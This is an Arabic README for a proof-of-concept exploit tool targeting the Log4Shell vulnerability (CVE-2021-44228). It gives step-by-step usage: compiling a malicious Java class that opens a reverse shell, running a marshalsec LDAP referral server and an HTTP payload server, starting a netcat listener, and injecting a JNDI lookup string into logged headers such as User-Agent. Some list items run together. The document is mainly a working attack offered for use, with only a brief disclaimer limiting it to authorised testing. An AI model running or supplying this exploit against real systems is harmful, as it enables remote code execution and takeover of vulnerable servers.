
إثبات المفهوم (Proof-Of-Concept) لثغرة CVE-2021-44228.
استغلال إثبات المفهوم لثغرة Log4j (CVE-2021-44228)، المعروفة أيضاً باسم Log4Shell. تولّد هذه الأداة فئة Java خبيثة، وتشغّل خادم إحالة LDAP، وتقدّم الحمولة عبر HTTP، مما يسمح لمهاجم عن بُعد بتنفيذ أوامر تعسفية على هدف مستضعف.
poc.py:
jdk1.8.0_20/ – نسخة من Oracle JDK 1.8.0_20 (تحتوي على bin/javac و bin/java). إذا كانت مفقودة، سيحاول البرنامج النصي استخدام أمرَي javac و java الخاصين بالنظام.target/marshalsec-0.0.3-SNAPSHOT-all.jar – ملف marshalsec JAR المستخدم لتشغيل خادم LDAP.jdk1.8.0_20 وملف marshalsec JAR كما هو موصوف أعلاه.pip install -r requirements.txt
شغّل البرنامج النصي باستخدام Python:
python3 poc.py [OPTIONS]
| الوسيطة | النوع | الافتراضي | الوصف |
|---|---|---|---|
--userip | string | IPv4 مُكتشف تلقائياً | عنوان IP الذي سترتبط به خوادم LDAP وHTTP وتعلن عنه. يجب أن يكون قابلاً للوصول من الجهاز الهدف. |
--webport | integer | 8000 | المنفذ الخاص بخادم HTTP الذي يقدّم ملف Exploit.class المُجمَّع. |
--lport | integer | 9001 | المنفذ الذي ينتظر فيه مستمع netcat الصدفة العكسية. ستتصل الحمولة مرة أخرى بـ userip:lport. |
شغّل مستمع netcat على جهاز المهاجم (استبدل 9001 بالمنفذ الذي اخترته):
nc -lvnp 9001
شغّل الاستغلال:
python3 poc.py --userip 192.168.1.10 --webport 8080 --lport 9001
إذا حذفت --userip، فسيستخدم البرنامج النصي تلقائياً عنوان IPv4 الأساسي لجهازك.
سيعرض البرنامج النصي سلسلة حمولة لحقنها في الهدف المستضعف، على سبيل المثال:
${jndi:ldap://192.168.1.10:1389/a}
احقن هذه السلسلة في أي حقل إدخال أو ترويسة HTTP يتم تسجيلها بواسطة نسخة Log4j مستضعفة (مثل User-Agent وX-Forwarded-For وما إلى ذلك). سيتصل الهدف بخادم LDAP، ويجلب الفئة الخبيثة من خادم HTTP، وينفّذ الصدفة العكسية.
يجب أن ترى اتصال صدفة يظهر في مستمع netcat الخاص بك.
Exploit.java يحتوي على كود يفتح صدفة عكسية إلى userip:lport.javac الخاص بالنظام).webport لاستضافة ملف Exploit.class المُجمَّع./bin/sh وهي مخصصة لأنظمة الهدف الشبيهة بـ Unix. بالنسبة لأهداف Windows، ستحتاج إلى تعديل الأمر داخل Exploit.java.webport و lport)، وأن الهدف يمكنه الوصول إلى جهازك.يزيل البرنامج النصي تلقائياً Exploit.java و Exploit.class عند الخروج (سواء بشكل طبيعي أو بعد KeyboardInterrupt). إذا كنت بحاجة إلى الاحتفاظ بالملفات لتصحيح الأخطاء، فقم بتعليق كتلة finally في poc.py.
هذه الأداة مخصصة لأغراض تعليمية واختبارات الأمان المصرح بها فقط. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها أمر غير قانوني. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.